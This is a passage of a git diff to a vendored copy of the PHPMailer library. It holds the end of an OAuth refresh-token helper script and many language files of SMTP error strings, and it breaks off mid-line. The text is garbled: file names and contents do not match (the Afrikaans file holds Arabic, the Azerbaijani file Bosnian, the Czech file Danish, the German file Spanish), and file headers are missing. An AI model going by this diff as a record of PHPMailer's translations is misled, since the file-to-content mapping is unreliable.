                              + + + $clientId, + 'clientSecret' => $clientSecret, + 'redirectUri' => $redirectUri, + 'accessType' => 'offline' +]; + +$options = []; +$provider = null; + +switch ($providerName) { + case 'Google': + $provider = new Google($params); + $options = [ + 'scope' => [ + 'https://mail.google.com/' + ] + ]; + break; + case 'Yahoo': + $provider = new Yahoo($params); + break; + case 'Microsoft': + $provider = new Microsoft($params); + $options = [ + 'scope' => [ + 'wl.imap', + 'wl.offline_access' + ] + ]; + break; +} + +if (null === $provider) { + exit('Provider missing'); +} + +if (!isset($_GET['code'])) { + //If we don't have an authorization code then get one + $authUrl = $provider->getAuthorizationUrl($options); + $_SESSION['oauth2state'] = $provider->getState(); + header('Location: ' . $authUrl); + exit; + //Check given state against previously stored one to mitigate CSRF attack +} elseif (empty($_GET['state']) || ($_GET['state'] !== $_SESSION['oauth2state'])) { + unset($_SESSION['oauth2state']); + unset($_SESSION['provider']); + exit('Invalid state'); +} else { + unset($_SESSION['provider']); + //Try to get an access token (using the authorization code grant) + $token = $provider->getAccessToken( + 'authorization_code', + [ + 'code' => $_GET['code'] + ] + ); + //Use this to interact with an API on the users behalf + //Use this to get a new access token if the old one expires + echo 'Refresh Token: ', $token->getRefreshToken(); +} diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-af.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-af.php index 5c75f00a80..0b2a72d524 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-af.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-af.php @@ -1,26 +1,26 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'خطأ SMTP : لا يمكن تأكيد الهوية.'; -$PHPMAILER_LANG['connect_host'] = 'خطأ SMTP: لا يمكن الاتصال بالخادم SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'خطأ SMTP: لم يتم قبول المعلومات .'; -$PHPMAILER_LANG['empty_message'] = 'نص الرسالة فارغ'; -$PHPMAILER_LANG['encoding'] = 'ترميز غير معروف: '; -$PHPMAILER_LANG['execute'] = 'لا يمكن تنفيذ : '; -$PHPMAILER_LANG['file_access'] = 'لا يمكن الوصول للملف: '; -$PHPMAILER_LANG['file_open'] = 'خطأ في الملف: لا يمكن فتحه: '; -$PHPMAILER_LANG['from_failed'] = 'خطأ على مستوى عنوان المرسل : '; -$PHPMAILER_LANG['instantiate'] = 'لا يمكن توفير خدمة البريد.'; -$PHPMAILER_LANG['invalid_address'] = 'الإرسال غير ممكن لأن عنوان البريد الإلكتروني غير صالح: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' برنامج الإرسال غير مدعوم.'; -$PHPMAILER_LANG['provide_address'] = 'يجب توفير عنوان البريد الإلكتروني لمستلم واحد على الأقل.'; -$PHPMAILER_LANG['recipients_failed'] = 'خطأ SMTP: الأخطاء التالية فشل في الارسال لكل من : '; -$PHPMAILER_LANG['signing'] = 'خطأ في التوقيع: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() غير ممكن.'; -$PHPMAILER_LANG['smtp_error'] = 'خطأ على مستوى الخادم SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'لا يمكن تعيين أو إعادة تعيين متغير: '; -$PHPMAILER_LANG['extension_missing'] = 'الإضافة غير موجودة: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'خطأ SMTP : لا يمكن تأكيد الهوية.'; +$PHPMAILER_LANG['connect_host'] = 'خطأ SMTP: لا يمكن الاتصال بالخادم SMTP.'; +$PHPMAILER_LANG['data_not_accepted'] = 'خطأ SMTP: لم يتم قبول المعلومات .'; +$PHPMAILER_LANG['empty_message'] = 'نص الرسالة فارغ'; +$PHPMAILER_LANG['encoding'] = 'ترميز غير معروف: '; +$PHPMAILER_LANG['execute'] = 'لا يمكن تنفيذ : '; +$PHPMAILER_LANG['file_access'] = 'لا يمكن الوصول للملف: '; +$PHPMAILER_LANG['file_open'] = 'خطأ في الملف: لا يمكن فتحه: '; +$PHPMAILER_LANG['from_failed'] = 'خطأ على مستوى عنوان المرسل : '; +$PHPMAILER_LANG['instantiate'] = 'لا يمكن توفير خدمة البريد.'; +$PHPMAILER_LANG['invalid_address'] = 'الإرسال غير ممكن لأن عنوان البريد الإلكتروني غير صالح: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' برنامج الإرسال غير مدعوم.'; +$PHPMAILER_LANG['provide_address'] = 'يجب توفير عنوان البريد الإلكتروني لمستلم واحد على الأقل.'; +$PHPMAILER_LANG['recipients_failed'] = 'خطأ SMTP: الأخطاء التالية فشل في الارسال لكل من : '; +$PHPMAILER_LANG['signing'] = 'خطأ في التوقيع: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() غير ممكن.'; +$PHPMAILER_LANG['smtp_error'] = 'خطأ على مستوى الخادم SMTP: '; +$PHPMAILER_LANG['variable_set'] = 'لا يمكن تعيين أو إعادة تعيين متغير: '; +$PHPMAILER_LANG['extension_missing'] = 'الإضافة غير موجودة: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-az.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-az.php index 2f7be1e64e..552167ef62 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-az.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-az.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP Greška: Neuspjela prijava.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP Greška: Nije moguće spojiti se sa SMTP serverom.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Greška: Podatci nisu prihvaćeni.'; -$PHPMAILER_LANG['empty_message'] = 'Sadržaj poruke je prazan.'; -$PHPMAILER_LANG['encoding'] = 'Nepoznata kriptografija: '; -$PHPMAILER_LANG['execute'] = 'Nije moguće izvršiti naredbu: '; -$PHPMAILER_LANG['file_access'] = 'Nije moguće pristupiti datoteci: '; -$PHPMAILER_LANG['file_open'] = 'Nije moguće otvoriti datoteku: '; -$PHPMAILER_LANG['from_failed'] = 'SMTP Greška: Slanje sa navedenih e-mail adresa nije uspjelo: '; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Greška: Slanje na navedene e-mail adrese nije uspjelo: '; -$PHPMAILER_LANG['instantiate'] = 'Ne mogu pokrenuti mail funkcionalnost.'; -$PHPMAILER_LANG['invalid_address'] = 'E-mail nije poslan. Neispravna e-mail adresa: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer nije podržan.'; -$PHPMAILER_LANG['provide_address'] = 'Definišite barem jednu adresu primaoca.'; -$PHPMAILER_LANG['signing'] = 'Greška prilikom prijave: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Spajanje na SMTP server nije uspjelo.'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP greška: '; -$PHPMAILER_LANG['variable_set'] = 'Nije moguće postaviti varijablu ili je vratiti nazad: '; -$PHPMAILER_LANG['extension_missing'] = 'Nedostaje ekstenzija: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP Greška: Neuspjela prijava.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP Greška: Nije moguće spojiti se sa SMTP serverom.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Greška: Podatci nisu prihvaćeni.'; +$PHPMAILER_LANG['empty_message'] = 'Sadržaj poruke je prazan.'; +$PHPMAILER_LANG['encoding'] = 'Nepoznata kriptografija: '; +$PHPMAILER_LANG['execute'] = 'Nije moguće izvršiti naredbu: '; +$PHPMAILER_LANG['file_access'] = 'Nije moguće pristupiti datoteci: '; +$PHPMAILER_LANG['file_open'] = 'Nije moguće otvoriti datoteku: '; +$PHPMAILER_LANG['from_failed'] = 'SMTP Greška: Slanje sa navedenih e-mail adresa nije uspjelo: '; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP Greška: Slanje na navedene e-mail adrese nije uspjelo: '; +$PHPMAILER_LANG['instantiate'] = 'Ne mogu pokrenuti mail funkcionalnost.'; +$PHPMAILER_LANG['invalid_address'] = 'E-mail nije poslan. Neispravna e-mail adresa: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' mailer nije podržan.'; +$PHPMAILER_LANG['provide_address'] = 'Definišite barem jednu adresu primaoca.'; +$PHPMAILER_LANG['signing'] = 'Greška prilikom prijave: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'Spajanje na SMTP server nije uspjelo.'; +$PHPMAILER_LANG['smtp_error'] = 'SMTP greška: '; +$PHPMAILER_LANG['variable_set'] = 'Nije moguće postaviti varijablu ili je vratiti nazad: '; +$PHPMAILER_LANG['extension_missing'] = 'Nedostaje ekstenzija: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-be.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-be.php index ffeb4be348..9e92ddaaf7 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-be.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-be.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'Памылка SMTP: памылка ідэнтыфікацыі.'; -$PHPMAILER_LANG['connect_host'] = 'Памылка SMTP: нельга ўстанавіць сувязь з SMTP-серверам.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Памылка SMTP: звесткі непрынятыя.'; -$PHPMAILER_LANG['empty_message'] = 'Пустое паведамленне.'; -$PHPMAILER_LANG['encoding'] = 'Невядомая кадыроўка тэксту: '; -$PHPMAILER_LANG['execute'] = 'Нельга выканаць каманду: '; -$PHPMAILER_LANG['file_access'] = 'Няма доступу да файла: '; -$PHPMAILER_LANG['file_open'] = 'Нельга адкрыць файл: '; -$PHPMAILER_LANG['from_failed'] = 'Няправільны адрас адпраўніка: '; -$PHPMAILER_LANG['instantiate'] = 'Нельга прымяніць функцыю mail().'; -$PHPMAILER_LANG['invalid_address'] = 'Нельга даслаць паведамленне, няправільны email атрымальніка: '; -$PHPMAILER_LANG['provide_address'] = 'Запоўніце, калі ласка, правільны email атрымальніка.'; -$PHPMAILER_LANG['mailer_not_supported'] = ' - паштовы сервер не падтрымліваецца.'; -$PHPMAILER_LANG['recipients_failed'] = 'Памылка SMTP: няправільныя атрымальнікі: '; -$PHPMAILER_LANG['signing'] = 'Памылка подпісу паведамлення: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Памылка сувязі з SMTP-серверам.'; -$PHPMAILER_LANG['smtp_error'] = 'Памылка SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Нельга ўстанавіць або перамяніць значэнне пераменнай: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'Памылка SMTP: памылка ідэнтыфікацыі.'; +$PHPMAILER_LANG['connect_host'] = 'Памылка SMTP: нельга ўстанавіць сувязь з SMTP-серверам.'; +$PHPMAILER_LANG['data_not_accepted'] = 'Памылка SMTP: звесткі непрынятыя.'; +$PHPMAILER_LANG['empty_message'] = 'Пустое паведамленне.'; +$PHPMAILER_LANG['encoding'] = 'Невядомая кадыроўка тэксту: '; +$PHPMAILER_LANG['execute'] = 'Нельга выканаць каманду: '; +$PHPMAILER_LANG['file_access'] = 'Няма доступу да файла: '; +$PHPMAILER_LANG['file_open'] = 'Нельга адкрыць файл: '; +$PHPMAILER_LANG['from_failed'] = 'Няправільны адрас адпраўніка: '; +$PHPMAILER_LANG['instantiate'] = 'Нельга прымяніць функцыю mail().'; +$PHPMAILER_LANG['invalid_address'] = 'Нельга даслаць паведамленне, няправільны email атрымальніка: '; +$PHPMAILER_LANG['provide_address'] = 'Запоўніце, калі ласка, правільны email атрымальніка.'; +$PHPMAILER_LANG['mailer_not_supported'] = ' - паштовы сервер не падтрымліваецца.'; +$PHPMAILER_LANG['recipients_failed'] = 'Памылка SMTP: няправільныя атрымальнікі: '; +$PHPMAILER_LANG['signing'] = 'Памылка подпісу паведамлення: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'Памылка сувязі з SMTP-серверам.'; +$PHPMAILER_LANG['smtp_error'] = 'Памылка SMTP: '; +$PHPMAILER_LANG['variable_set'] = 'Нельга ўстанавіць або перамяніць значэнне пераменнай: '; +//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-bg.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-bg.php index ae1f9f3457..c41f675dfd 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-bg.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-bg.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP грешка: Не може да се удостовери пред сървъра.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP грешка: Не може да се свърже с SMTP хоста.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP грешка: данните не са приети.'; -$PHPMAILER_LANG['empty_message'] = 'Съдържанието на съобщението е празно'; -$PHPMAILER_LANG['encoding'] = 'Неизвестно кодиране: '; -$PHPMAILER_LANG['execute'] = 'Не може да се изпълни: '; -$PHPMAILER_LANG['file_access'] = 'Няма достъп до файл: '; -$PHPMAILER_LANG['file_open'] = 'Файлова грешка: Не може да се отвори файл: '; -$PHPMAILER_LANG['from_failed'] = 'Следните адреси за подател са невалидни: '; -$PHPMAILER_LANG['instantiate'] = 'Не може да се инстанцира функцията mail.'; -$PHPMAILER_LANG['invalid_address'] = 'Невалиден адрес: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' - пощенски сървър не се поддържа.'; -$PHPMAILER_LANG['provide_address'] = 'Трябва да предоставите поне един email адрес за получател.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP грешка: Следните адреси за Получател са невалидни: '; -$PHPMAILER_LANG['signing'] = 'Грешка при подписване: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP провален connect().'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP сървърна грешка: '; -$PHPMAILER_LANG['variable_set'] = 'Не може да се установи или възстанови променлива: '; -$PHPMAILER_LANG['extension_missing'] = 'Липсва разширение: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP грешка: Не може да се удостовери пред сървъра.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP грешка: Не може да се свърже с SMTP хоста.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP грешка: данните не са приети.'; +$PHPMAILER_LANG['empty_message'] = 'Съдържанието на съобщението е празно'; +$PHPMAILER_LANG['encoding'] = 'Неизвестно кодиране: '; +$PHPMAILER_LANG['execute'] = 'Не може да се изпълни: '; +$PHPMAILER_LANG['file_access'] = 'Няма достъп до файл: '; +$PHPMAILER_LANG['file_open'] = 'Файлова грешка: Не може да се отвори файл: '; +$PHPMAILER_LANG['from_failed'] = 'Следните адреси за подател са невалидни: '; +$PHPMAILER_LANG['instantiate'] = 'Не може да се инстанцира функцията mail.'; +$PHPMAILER_LANG['invalid_address'] = 'Невалиден адрес: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' - пощенски сървър не се поддържа.'; +$PHPMAILER_LANG['provide_address'] = 'Трябва да предоставите поне един email адрес за получател.'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP грешка: Следните адреси за Получател са невалидни: '; +$PHPMAILER_LANG['signing'] = 'Грешка при подписване: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP провален connect().'; +$PHPMAILER_LANG['smtp_error'] = 'SMTP сървърна грешка: '; +$PHPMAILER_LANG['variable_set'] = 'Не може да се установи или възстанови променлива: '; +$PHPMAILER_LANG['extension_missing'] = 'Липсва разширение: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ca.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ca.php index b3f56d0b92..34684855a5 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ca.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ca.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'Error SMTP: No s’ha pogut autenticar.'; -$PHPMAILER_LANG['connect_host'] = 'Error SMTP: No es pot connectar al servidor SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Error SMTP: Dades no acceptades.'; -$PHPMAILER_LANG['empty_message'] = 'El cos del missatge està buit.'; -$PHPMAILER_LANG['encoding'] = 'Codificació desconeguda: '; -$PHPMAILER_LANG['execute'] = 'No es pot executar: '; -$PHPMAILER_LANG['file_access'] = 'No es pot accedir a l’arxiu: '; -$PHPMAILER_LANG['file_open'] = 'Error d’Arxiu: No es pot obrir l’arxiu: '; -$PHPMAILER_LANG['from_failed'] = 'La(s) següent(s) adreces de remitent han fallat: '; -$PHPMAILER_LANG['instantiate'] = 'No s’ha pogut crear una instància de la funció Mail.'; -$PHPMAILER_LANG['invalid_address'] = 'Adreça d’email invalida: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer no està suportat'; -$PHPMAILER_LANG['provide_address'] = 'S’ha de proveir almenys una adreça d’email com a destinatari.'; -$PHPMAILER_LANG['recipients_failed'] = 'Error SMTP: Els següents destinataris han fallat: '; -$PHPMAILER_LANG['signing'] = 'Error al signar: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Ha fallat el SMTP Connect().'; -$PHPMAILER_LANG['smtp_error'] = 'Error del servidor SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'No s’ha pogut establir o restablir la variable: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'Error SMTP: No s’ha pogut autenticar.'; +$PHPMAILER_LANG['connect_host'] = 'Error SMTP: No es pot connectar al servidor SMTP.'; +$PHPMAILER_LANG['data_not_accepted'] = 'Error SMTP: Dades no acceptades.'; +$PHPMAILER_LANG['empty_message'] = 'El cos del missatge està buit.'; +$PHPMAILER_LANG['encoding'] = 'Codificació desconeguda: '; +$PHPMAILER_LANG['execute'] = 'No es pot executar: '; +$PHPMAILER_LANG['file_access'] = 'No es pot accedir a l’arxiu: '; +$PHPMAILER_LANG['file_open'] = 'Error d’Arxiu: No es pot obrir l’arxiu: '; +$PHPMAILER_LANG['from_failed'] = 'La(s) següent(s) adreces de remitent han fallat: '; +$PHPMAILER_LANG['instantiate'] = 'No s’ha pogut crear una instància de la funció Mail.'; +$PHPMAILER_LANG['invalid_address'] = 'Adreça d’email invalida: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' mailer no està suportat'; +$PHPMAILER_LANG['provide_address'] = 'S’ha de proveir almenys una adreça d’email com a destinatari.'; +$PHPMAILER_LANG['recipients_failed'] = 'Error SMTP: Els següents destinataris han fallat: '; +$PHPMAILER_LANG['signing'] = 'Error al signar: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'Ha fallat el SMTP Connect().'; +$PHPMAILER_LANG['smtp_error'] = 'Error del servidor SMTP: '; +$PHPMAILER_LANG['variable_set'] = 'No s’ha pogut establir o restablir la variable: '; +//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ch.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ch.php index 7e5cf9a9f5..500c952676 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ch.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ch.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP 错误:身份验证失败。'; -$PHPMAILER_LANG['connect_host'] = 'SMTP 错误: 不能连接SMTP主机。'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP 错误: 数据不可接受。'; -//$PHPMAILER_LANG['empty_message'] = 'Message body empty'; -$PHPMAILER_LANG['encoding'] = '未知编码:'; -$PHPMAILER_LANG['execute'] = '不能执行: '; -$PHPMAILER_LANG['file_access'] = '不能访问文件:'; -$PHPMAILER_LANG['file_open'] = '文件错误:不能打开文件:'; -$PHPMAILER_LANG['from_failed'] = '下面的发送地址邮件发送失败了: '; -$PHPMAILER_LANG['instantiate'] = '不能实现mail方法。'; -//$PHPMAILER_LANG['invalid_address'] = 'Invalid address: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' 您所选择的发送邮件的方法并不支持。'; -$PHPMAILER_LANG['provide_address'] = '您必须提供至少一个 收信人的email地址。'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP 错误: 下面的 收件人失败了: '; -//$PHPMAILER_LANG['signing'] = 'Signing Error: '; -//$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; -//$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: '; -//$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP 错误:身份验证失败。'; +$PHPMAILER_LANG['connect_host'] = 'SMTP 错误: 不能连接SMTP主机。'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP 错误: 数据不可接受。'; +//$PHPMAILER_LANG['empty_message'] = 'Message body empty'; +$PHPMAILER_LANG['encoding'] = '未知编码:'; +$PHPMAILER_LANG['execute'] = '不能执行: '; +$PHPMAILER_LANG['file_access'] = '不能访问文件:'; +$PHPMAILER_LANG['file_open'] = '文件错误:不能打开文件:'; +$PHPMAILER_LANG['from_failed'] = '下面的发送地址邮件发送失败了: '; +$PHPMAILER_LANG['instantiate'] = '不能实现mail方法。'; +//$PHPMAILER_LANG['invalid_address'] = 'Invalid address: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' 您所选择的发送邮件的方法并不支持。'; +$PHPMAILER_LANG['provide_address'] = '您必须提供至少一个 收信人的email地址。'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP 错误: 下面的 收件人失败了: '; +//$PHPMAILER_LANG['signing'] = 'Signing Error: '; +//$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; +//$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: '; +//$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: '; +//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-cs.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-cs.php index 0d47638449..e770a1a265 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-cs.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-cs.php @@ -1,28 +1,28 @@ - - * Rewrite and extension of the work by Mikael Stokkebro - * - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP fejl: Login mislykkedes.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP fejl: Forbindelse til SMTP serveren kunne ikke oprettes.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP fejl: Data blev ikke accepteret.'; -$PHPMAILER_LANG['empty_message'] = 'Meddelelsen er uden indhold'; -$PHPMAILER_LANG['encoding'] = 'Ukendt encode-format: '; -$PHPMAILER_LANG['execute'] = 'Kunne ikke afvikle: '; -$PHPMAILER_LANG['file_access'] = 'Kunne ikke tilgå filen: '; -$PHPMAILER_LANG['file_open'] = 'Fil fejl: Kunne ikke åbne filen: '; -$PHPMAILER_LANG['from_failed'] = 'Følgende afsenderadresse er forkert: '; -$PHPMAILER_LANG['instantiate'] = 'Email funktionen kunne ikke initialiseres.'; -$PHPMAILER_LANG['invalid_address'] = 'Udgyldig adresse: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer understøttes ikke.'; -$PHPMAILER_LANG['provide_address'] = 'Indtast mindst en modtagers email adresse.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP fejl: Følgende modtagere er forkerte: '; -$PHPMAILER_LANG['signing'] = 'Signeringsfejl: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() fejlede.'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP server fejl: '; -$PHPMAILER_LANG['variable_set'] = 'Kunne ikke definere eller nulstille variablen: '; -$PHPMAILER_LANG['extension_missing'] = 'Udvidelse mangler: '; + + * Rewrite and extension of the work by Mikael Stokkebro + * + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP fejl: Login mislykkedes.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP fejl: Forbindelse til SMTP serveren kunne ikke oprettes.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP fejl: Data blev ikke accepteret.'; +$PHPMAILER_LANG['empty_message'] = 'Meddelelsen er uden indhold'; +$PHPMAILER_LANG['encoding'] = 'Ukendt encode-format: '; +$PHPMAILER_LANG['execute'] = 'Kunne ikke afvikle: '; +$PHPMAILER_LANG['file_access'] = 'Kunne ikke tilgå filen: '; +$PHPMAILER_LANG['file_open'] = 'Fil fejl: Kunne ikke åbne filen: '; +$PHPMAILER_LANG['from_failed'] = 'Følgende afsenderadresse er forkert: '; +$PHPMAILER_LANG['instantiate'] = 'Email funktionen kunne ikke initialiseres.'; +$PHPMAILER_LANG['invalid_address'] = 'Udgyldig adresse: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' mailer understøttes ikke.'; +$PHPMAILER_LANG['provide_address'] = 'Indtast mindst en modtagers email adresse.'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP fejl: Følgende modtagere er forkerte: '; +$PHPMAILER_LANG['signing'] = 'Signeringsfejl: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() fejlede.'; +$PHPMAILER_LANG['smtp_error'] = 'SMTP server fejl: '; +$PHPMAILER_LANG['variable_set'] = 'Kunne ikke definere eller nulstille variablen: '; +$PHPMAILER_LANG['extension_missing'] = 'Udvidelse mangler: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-de.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-de.php index 6f8e59ff28..e7e59d2b67 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-de.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-de.php @@ -1,28 +1,28 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'Error SMTP: Imposible autentificar.'; -$PHPMAILER_LANG['connect_host'] = 'Error SMTP: Imposible conectar al servidor SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Error SMTP: Datos no aceptados.'; -$PHPMAILER_LANG['empty_message'] = 'El cuerpo del mensaje está vacío.'; -$PHPMAILER_LANG['encoding'] = 'Codificación desconocida: '; -$PHPMAILER_LANG['execute'] = 'Imposible ejecutar: '; -$PHPMAILER_LANG['file_access'] = 'Imposible acceder al archivo: '; -$PHPMAILER_LANG['file_open'] = 'Error de Archivo: Imposible abrir el archivo: '; -$PHPMAILER_LANG['from_failed'] = 'La(s) siguiente(s) direcciones de remitente fallaron: '; -$PHPMAILER_LANG['instantiate'] = 'Imposible crear una instancia de la función Mail.'; -$PHPMAILER_LANG['invalid_address'] = 'Imposible enviar: dirección de email inválido: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer no está soportado.'; -$PHPMAILER_LANG['provide_address'] = 'Debe proporcionar al menos una dirección de email de destino.'; -$PHPMAILER_LANG['recipients_failed'] = 'Error SMTP: Los siguientes destinos fallaron: '; -$PHPMAILER_LANG['signing'] = 'Error al firmar: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() falló.'; -$PHPMAILER_LANG['smtp_error'] = 'Error del servidor SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'No se pudo configurar la variable: '; -$PHPMAILER_LANG['extension_missing'] = 'Extensión faltante: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'Error SMTP: Imposible autentificar.'; +$PHPMAILER_LANG['connect_host'] = 'Error SMTP: Imposible conectar al servidor SMTP.'; +$PHPMAILER_LANG['data_not_accepted'] = 'Error SMTP: Datos no aceptados.'; +$PHPMAILER_LANG['empty_message'] = 'El cuerpo del mensaje está vacío.'; +$PHPMAILER_LANG['encoding'] = 'Codificación desconocida: '; +$PHPMAILER_LANG['execute'] = 'Imposible ejecutar: '; +$PHPMAILER_LANG['file_access'] = 'Imposible acceder al archivo: '; +$PHPMAILER_LANG['file_open'] = 'Error de Archivo: Imposible abrir el archivo: '; +$PHPMAILER_LANG['from_failed'] = 'La(s) siguiente(s) direcciones de remitente fallaron: '; +$PHPMAILER_LANG['instantiate'] = 'Imposible crear una instancia de la función Mail.'; +$PHPMAILER_LANG['invalid_address'] = 'Imposible enviar: dirección de email inválido: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' mailer no está soportado.'; +$PHPMAILER_LANG['provide_address'] = 'Debe proporcionar al menos una dirección de email de destino.'; +$PHPMAILER_LANG['recipients_failed'] = 'Error SMTP: Los siguientes destinos fallaron: '; +$PHPMAILER_LANG['signing'] = 'Error al firmar: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() falló.'; +$PHPMAILER_LANG['smtp_error'] = 'Error del servidor SMTP: '; +$PHPMAILER_LANG['variable_set'] = 'No se pudo configurar la variable: '; +$PHPMAILER_LANG['extension_missing'] = 'Extensión faltante: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-et.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-et.php index 3ac6d791aa..93addc9e33 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-et.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-et.php @@ -1,28 +1,28 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP Viga: Autoriseerimise viga.'; -$PHPMAILER_LANG['connect_host'] 